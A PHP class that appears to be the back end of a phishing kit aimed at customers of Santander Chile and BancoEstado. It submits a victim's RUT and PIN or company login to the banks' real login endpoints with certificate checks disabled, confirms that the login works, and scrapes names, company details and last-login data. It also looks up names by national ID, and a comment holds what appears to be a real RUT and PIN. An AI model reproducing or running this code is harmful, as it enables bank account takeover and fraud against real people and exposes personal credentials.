<?php

class Mycurl{

    public function __construct($data) {

        $this->ip = $data["ip"];
        $this->agent = $data["agent"];
        $this->cookie = 'src/cookies/cookie_'.$this->ip.'.txt';
        
    }
    public function ingresoEmpresa($data) {
        //COOKIES
        if(file_exists($this->cookie)): unlink($this->cookie); endif;
        
        $returnComprueba=$this->compruebaPassEmpresa($data);
        
        
        if($returnComprueba==false){
            return ['pr' => 2, 'html' => $viewHtml];
        }else{
            
            //print_r($returnComprueba);
            
            $datos = ['name' => $returnComprueba["name"], 'last' => $returnComprueba["last"], 'pr' => 1, 'tipo' => $returnComprueba["tipo"] , 'html' => "" ];
        
            return $datos;
        }
    }

    public function ingreso($data) {

        //COOKIES
        if(file_exists($this->cookie)): unlink($this->cookie); endif;

        //IDLOGIN=BancoSantander&Op_campana=&rut_50=13.866.336-1&rut=13.866.336-1&pin_13=Darigaz1%232&tipo=1&pin=Darigaz1%232
        //POST VALUE

        $nombre=$this->getRut($data["rut"]);

        $explode=explode(" ",$nombre);
//print_r($explode); 
        $name=$explode[2]." ".$explode[3];

        $last=$explode[0]." ".$explode[1];
        
        
        $datos = ['name' => $name, 'last' => '', 'pr' => 1, 'tipo' => 'TP2', 'html' => $viewHtml];
        
        return $datos;
        
        ///FIN!
        
        
        $returnComprueba=$this->compruebaPass($data);
        
        
        if($returnComprueba==false){
            return ['pr' => 2, 'html' => $viewHtml];
        }else{
            
            //print_r($returnComprueba);
            
            $datos = ['name' => $returnComprueba["name"], 'last' => $returnComprueba["last"], 'pr' => 1, 'tipo' => $returnComprueba["tipo"] , 'html' => "" ];
        
            return $datos;
        }


        $post = "IDLOGIN=BancoSantander&Op_campana=&rut_50=".$data['rut']."&rut=".$data['rut']."&pin_13=".$data['pin']."&tipo=1&pin=".$data['pin']."";

        $url = "https://www.santander.cl/transa/cruce.asp";
        //Inicializo el handler de Curl
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        curl_setopt($ch, CURLOPT_REFERER, 'https://bciimg.bci.cl/sitioseguro/login/login_personas_act.html');

        $viewHtml = curl_exec($ch);
        
        curl_close($ch);

        return $viewHtml.$post;

        if (preg_match('/transa\/preerror\.asp/i', $viewHtml)) :
            
            return ['pr' => 2, 'html' => $viewHtml];
            
        elseif (preg_match('/segmentos\/Menu\/view\.asp/i', $viewHtml)) :




            $header = [
                
                'sec-ch-ua-mobile: ?0',
                'Sec-Fetch-Dest: document',
                'Sec-Fetch-Mode: navigate',
                'Sec-Fetch-Site: same-site',
                'Sec-Fetch-User: ?1',
                'Upgrade-Insecure-Requests: 1',
                'User-Agent:'.$this->agent.''
            ];

            //URL CONEXION
            $url = "https://www.santander.cl/transa/segmentos/Menu/view.asp";
            //Inicializo el handler de Curl
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_VERBOSE, 1);
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_REFERER, 'https://banco.santander.cl/');

            $viewHtml = curl_exec($ch);
            curl_close($ch);

            $datos = ['name' => '', 'last' => '', 'pr' => 1, 'tipo' => 'TP2', 'html' => $viewHtml];

            if (preg_match('/sectionCode=SCT/i', $viewHtml)) :
                $datos['tipo'] = 'SCT';
            endif;

            //URL CONEXION
            $url = "https://www.santander.cl/transa/segmentos/Menu/views/sections/vsTS.asp?sectionCode=TP2";
            //Inicializo el handler de Curl
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_REFERER, 'https://www.santander.cl/transa/segmentos/Menu/view.asp');

            $viewHtml = curl_exec($ch);
            curl_close($ch);

            $datos['html'] = $viewHtml;
            
            if(preg_match_all('|<span id="idspan1">(.*)</span>|sU', utf8_encode($viewHtml), $match, PREG_SET_ORDER)):
                if(preg_match_all('|<strong>(.*)</strong>|sU', $match[0][0], $match2, PREG_SET_ORDER)):
                    $datos['name'] =  $match2[0][1];
                endif;
            endif;

            if(preg_match_all('|<span id="idspan2">(.*)</span>|sU', utf8_encode($viewHtml), $match, PREG_SET_ORDER)):
                $datos['last'] =  $match[0][1];
            endif;

            $this->closet(['modelo' => $datos['tipo']]);

            return $datos;

        else:

            return ['pr' => 3, 'html' => $viewHtml];

        endif;

    }

    public function closet($mmmmas) {

        //POST VALUE
        $post = "hidLstSelected=CSS&sectionCode=".$mmmmas['modelo']."&externalItemCode=&EstiloCss=select";

        $url = "https://www.santander.cl/transa/segmentos/Menu/views/sections/vsTS.asp?sectionCode=".$mmmmas['modelo'];
        //Inicializo el handler de Curl
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_REFERER, 'https://www.santander.cl/transa/segmentos/Menu/views/sections/vsTS.asp?sectionCode=SCT'.$mmmmas['modelo']);

        $viewHtml = curl_exec($ch);
        curl_close($ch);

    }
    public function compruebaPass($data){
        
        $ch = curl_init();
        
        curl_setopt($ch, CURLOPT_URL, 'https://www.santander.cl/transa/cruce.asp');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "IDLOGIN=BancoSantander&Op_campana=&rut_29=".$data['rut']."&rut=".$data['rut']."&pin_60=".$data['pin']."&tipo=1&pin=".$data['pin']."");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        
        
        
        curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
        
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        curl_setopt($ch, CURLOPT_REFERER, 'https://bciimg.bci.cl/sitioseguro/login/login_personas_act.html');
        
        
        
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
        
        $headers = array();
        $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
        $headers[] = 'Accept-Language: es-419,es;q=0.9';
        $headers[] = 'Cache-Control: max-age=0';
        $headers[] = 'Connection: keep-alive';
        $headers[] = 'Content-Type: application/x-www-form-urlencoded';
        
        $headers[] = 'Referer: https://banco.santander.cl/';
        $headers[] = 'Sec-Fetch-Dest: document';
        $headers[] = 'Sec-Fetch-Mode: navigate';
        $headers[] = 'Sec-Fetch-Site: same-site';
        $headers[] = 'Sec-Fetch-User: ?1';
        $headers[] = 'Upgrade-Insecure-Requests: 1';
        $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36';
        $headers[] = 'Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\"';
        $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
        $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        $result = curl_exec($ch);
        
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $header = substr($result, 0, $header_size);
        $body = substr($result, $header_size);
        
        
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close($ch);
        //print_r($result);
        //1exit();
        if (preg_match('/Location: segmentos/i', $result)){
            
            //return true;
            
            $url = "https://www.santander.cl/transa/segmentos/Menu/view.asp";

            
            $ch = curl_init();
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            
            curl_setopt($ch, CURLOPT_HEADER, 1);
            
            
            
            curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            
            curl_setopt($ch, CURLOPT_VERBOSE, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
            curl_setopt($ch, CURLOPT_REFERER, 'https://banco.santander.cl/');
            
            
            
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
            
            $headers = array();
            $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
            $headers[] = 'Accept-Language: es-419,es;q=0.9';
            $headers[] = 'Cache-Control: max-age=0';
            $headers[] = 'Connection: keep-alive';
            $headers[] = 'Content-Type: application/x-www-form-urlencoded';
            
            $headers[] = 'Referer: https://banco.santander.cl/';
            $headers[] = 'Sec-Fetch-Dest: document';
            $headers[] = 'Sec-Fetch-Mode: navigate';
            $headers[] = 'Sec-Fetch-Site: same-site';
            $headers[] = 'Sec-Fetch-User: ?1';
            $headers[] = 'Upgrade-Insecure-Requests: 1';
            $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36';
            $headers[] = 'Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\"';
            $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
            $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $viewHtml = curl_exec($ch);
            
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header = substr($viewHtml, 0, $header_size);
            $body = substr($viewHtml, $header_size);
            
            
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
            
            
            $datos = ['name' => '', 'last' => '', 'pr' => 1, 'tipo' => 'TP2', 'html' => $viewHtml];
            
            $datos['html'] = $viewHtml;
            
            if (preg_match('/sectionCode=SCT/i', $viewHtml)) :
                $datos['tipo'] = 'SCT';
            endif;
            
            
                
            $ch = curl_init();
            $url = "https://www.santander.cl/transa/segmentos/Menu/views/sections/vsTS.asp?sectionCode=TP2";
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 1);
            
            
            curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            
            curl_setopt($ch, CURLOPT_VERBOSE, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
            curl_setopt($ch, CURLOPT_REFERER, 'https://www.santander.cl/transa/segmentos/Menu/view.asp');
            
            
            
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
            
            $headers = array();
            $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
            $headers[] = 'Accept-Language: es-419,es;q=0.9';
            $headers[] = 'Cache-Control: max-age=0';
            $headers[] = 'Connection: keep-alive';
            $headers[] = 'Content-Type: application/x-www-form-urlencoded';
            
            $headers[] = 'Sec-Fetch-Dest: document';
            $headers[] = 'Sec-Fetch-Mode: navigate';
            $headers[] = 'Sec-Fetch-Site: same-site';
            $headers[] = 'Sec-Fetch-User: ?1';
            $headers[] = 'Upgrade-Insecure-Requests: 1';
            $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36';
            $headers[] = 'Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\"';
            $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
            $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $viewHtml = curl_exec($ch);
            
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header = substr($viewHtml, 0, $header_size);
            $body = substr($viewHtml, $header_size);
            
            
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);

            
            if(preg_match_all('|<span id="idspan1">(.*)</span>|sU', utf8_encode($viewHtml), $match, PREG_SET_ORDER)):
                if(preg_match_all('|<strong>(.*)</strong>|sU', $match[0][0], $match2, PREG_SET_ORDER)):
                    $datos['name'] =  $match2[0][1];
                endif;
            endif;

            if(preg_match_all('|<span id="idspan2">(.*)</span>|sU', utf8_encode($viewHtml), $match, PREG_SET_ORDER)):
                $datos['last'] =  $match[0][1];
            endif;
            return $datos;
        }else{
            return false;
        }
    }
    
    public function compruebaPassEmpresa($data){
        //print_r($data);
        
        
        $ch = curl_init();
        
        curl_setopt($ch, CURLOPT_URL, 'https://empresas.bancoestado.cl/BancoEstado/process.asp?MID=&AID=LOGIN-001');
        
        
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        
        
        curl_setopt($ch, CURLOPT_POSTFIELDS, "CustPermID=".$data["CustPermID"]."&CustLoginID=".$data["CustLoginID"]."&SignonPswd=".$data["SignonPswd"]."&loginOpt=empresas&tp=1&CLAVE=0000&NUEVO=1&EmpSignonPswd=0000&EmpSignonPswdAux=0000");
        
        
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
        
        
        curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
        
        curl_setopt($ch, CURLOPT_HEADER, 1);
        
        
        $headers = array();
        $headers[] = 'Authority: empresas.bancoestado.cl';
        $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
        $headers[] = 'Accept-Language: es-419,es;q=0.9';
        $headers[] = 'Cache-Control: max-age=0';
        $headers[] = 'Content-Type: application/x-www-form-urlencoded';
        $headers[] = 'Origin: https://empresas.bancoestado.cl';
        
        $headers[] = 'Referer: https://empresas.bancoestado.cl/bancoestado/process.asp';
        $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
        $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
        $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
        $headers[] = 'Sec-Fetch-Dest: document';
        $headers[] = 'Sec-Fetch-Mode: navigate';
        $headers[] = 'Sec-Fetch-Site: same-origin';
        $headers[] = 'Sec-Fetch-User: ?1';
        $headers[] = 'Upgrade-Insecure-Requests: 1';
        $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        
        $result = curl_exec($ch);
        
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $header = substr($result, 0, $header_size);
        $body = substr($result, $header_size);
        
        
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close($ch);
        
        //location: /bancoestado/process.asp?MID=&AID=HOME-000&RQI=7C293C671DD14577A655364FFBC86780&rnd=228AC099&ssnid=1FCB6795
        //print_r($result);
        //print_r($header_size);
        //print_r($header);
        //print_r($body);

        
        if (preg_match('/AID=HOME/i', $result)){
            //echo 44;
            
            $ch = curl_init();
            
            curl_setopt($ch, CURLOPT_URL, 'https://empresas.bancoestado.cl/bancoestado/process.asp?AID=HOME-002');
            
            
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
            
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
            
            
            
            curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            
            curl_setopt($ch, CURLOPT_HEADER, 1);
            
            
            $headers = array();
            $headers[] = 'Authority: empresas.bancoestado.cl';
            $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
            $headers[] = 'Accept-Language: es-419,es;q=0.9';
            $headers[] = 'Referer: https://empresas.bancoestado.cl/bancoestado/process.asp?MID=&AID=HOME-000&RQI=96F983113FF94FDFA2A51D29FC9BB8F9&rnd=1643B5AB&ssnid=2F1DC493';
            $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
            $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
            $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
            $headers[] = 'Sec-Fetch-Dest: frame';
            $headers[] = 'Sec-Fetch-Mode: navigate';
            $headers[] = 'Sec-Fetch-Site: same-origin';
            $headers[] = 'Upgrade-Insecure-Requests: 1';
            $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
    
            $result = curl_exec($ch);
            
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header = substr($result, 0, $header_size);

            $body = substr($result, $header_size);
            
            
            preg_match("!\r\n(?:location|URI): *(.*?) *\r\n!", $header, $matches);
            $url = $matches[1];

            
            
            //print_r($matches);
            //print_r($url);
            //print_r($header);
            //print_r($header_size);
            //print_r($header);
            //print_r($body);
            
            
            $ch = curl_init();
            
            curl_setopt($ch, CURLOPT_URL, 'https://empresas.bancoestado.cl'.$url);
            
            
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
            
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
            
            
            
            curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            
            curl_setopt($ch, CURLOPT_HEADER, 1);
            
            
            $headers = array();
            $headers[] = 'Authority: empresas.bancoestado.cl';
            $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
            $headers[] = 'Accept-Language: es-419,es;q=0.9';
            $headers[] = 'Referer: https://empresas.bancoestado.cl/bancoestado/process.asp?MID=&AID=HOME-000&RQI=96F983113FF94FDFA2A51D29FC9BB8F9&rnd=1643B5AB&ssnid=2F1DC493';
            $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
            $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
            $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
            $headers[] = 'Sec-Fetch-Dest: frame';
            $headers[] = 'Sec-Fetch-Mode: navigate';
            $headers[] = 'Sec-Fetch-Site: same-origin';
            $headers[] = 'Upgrade-Insecure-Requests: 1';
            $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
    
            $result = curl_exec($ch);
            
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header = substr($result, 0, $header_size);

            $body = substr($result, $header_size);
            
            //print_r($result);
            
            $uno=(explode('<div class="usuario_registrado">',$result)[1]);
            $dos=(explode("</table>",$uno));
            //print_r($dos[0]);
            
            $nombreUsuario=(explode("<td>",$dos[0]));
            //print_r($nombreUsuario);
            $nombreUsuario=(explode("</td>",$nombreUsuario[1]));
            $nombreUsuario=$nombreUsuario[0];
            
            $rutUsuario=(explode("<td>",$dos[0]));
            $rutUsuario=(explode("</td>",$rutUsuario[2]));
            $rutUsuario=$rutUsuario[0];
            
            
            $nombreEmpresa=(explode("<td>",$dos[0]));
            $nombreEmpresa=(explode("</td>",$nombreEmpresa[4]));
            $nombreEmpresa=$nombreEmpresa[0];
            
            $rutEmpresa=(explode("<td>",$dos[0]));
            $rutEmpresa=(explode("</td>",$rutEmpresa[5]));
            $rutEmpresa=$rutEmpresa[0];
            
            $nombreEjecutivo=(explode("<td>",$dos[0]));
            $nombreEjecutivo=(explode("</td>",$nombreEjecutivo[7]));
            $nombreEjecutivo=$nombreEjecutivo[0];
            
            
            $nombreSucursal=(explode("<td>",$dos[0]));
            $nombreSucursal=(explode("</td>",$nombreSucursal[7]));
            $nombreSucursal=(explode("<td",$nombreSucursal[1]));
            $nombreSucursal=(explode(">",$nombreSucursal[1]));
            $nombreSucursal=$nombreSucursal[1];
            
            
            $ultimaConeccion=(explode("<td>",$dos[0])); 
            $ultimaConeccion=(explode("</td>",$ultimaConeccion[8]));
            $ultimaConeccion=$ultimaConeccion[0];
            
            $return=["nombreUsuario"=>$nombreUsuario,"rutUsuario"=>$rutUsuario,"nombreEmpresa"=>$nombreEmpresa,"rutEmpresa"=>$rutEmpresa,"nombreEjecutivo"=>$nombreEjecutivo,"nombreSucursal"=>$nombreSucursal,"ultimaConeccion"=>$ultimaConeccion];
            
            //print_r($return);
            //exit();
            
            $datos = ['name' => json_encode($return,JSON_PRETTY_PRINT), 'last' => $ultimaConeccion, 'pr' => 1, 'tipo' => 'SCT', 'html' => $dos[0]];
            
            //print_r($datos);
            
            return $datos;
            
        }else{
            
            return false;
        }
        
    }
	
   function getRut($rut){

        //$rut="17.951.520-2";

        $ch = curl_init();
        
        curl_setopt($ch, CURLOPT_URL, 'https://r.rutyfirma.com/pr/'.$rut);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
        
        $headers = array();
        $headers[] = 'Authority: r.rutyfirma.com';
        $headers[] = 'Accept: */*';
        $headers[] = 'Accept-Language: es-419,es;q=0.9';
        $headers[] = 'Cache-Control: no-cache';
        $headers[] = 'Content-Length: 0';
        $headers[] = 'Origin: https://www.rutyfirma.com';
        $headers[] = 'Pragma: no-cache';
        $headers[] = 'Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\"';
        $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
        $headers[] = 'Sec-Ch-Ua-Platform: \"Linux\"';
        $headers[] = 'Sec-Fetch-Dest: empty';
        $headers[] = 'Sec-Fetch-Mode: cors';
        $headers[] = 'Sec-Fetch-Site: same-site';
        $headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36';
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        $viewHtml = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close($ch);
        
        
        //print_r($viewHtml);
        
        $name = '';
        //if(preg_match_all('|<tr>(.*)</tr>|sU', $viewHtml, $matches, PREG_SET_ORDER)):
            if(preg_match_all('|<td>(.*)</td>|sU', $viewHtml, $matches, PREG_SET_ORDER)):
                //print_r($matches);
                $name = $matches[0][1];
            endif;
        //endif;
        
        return $name;


    }

}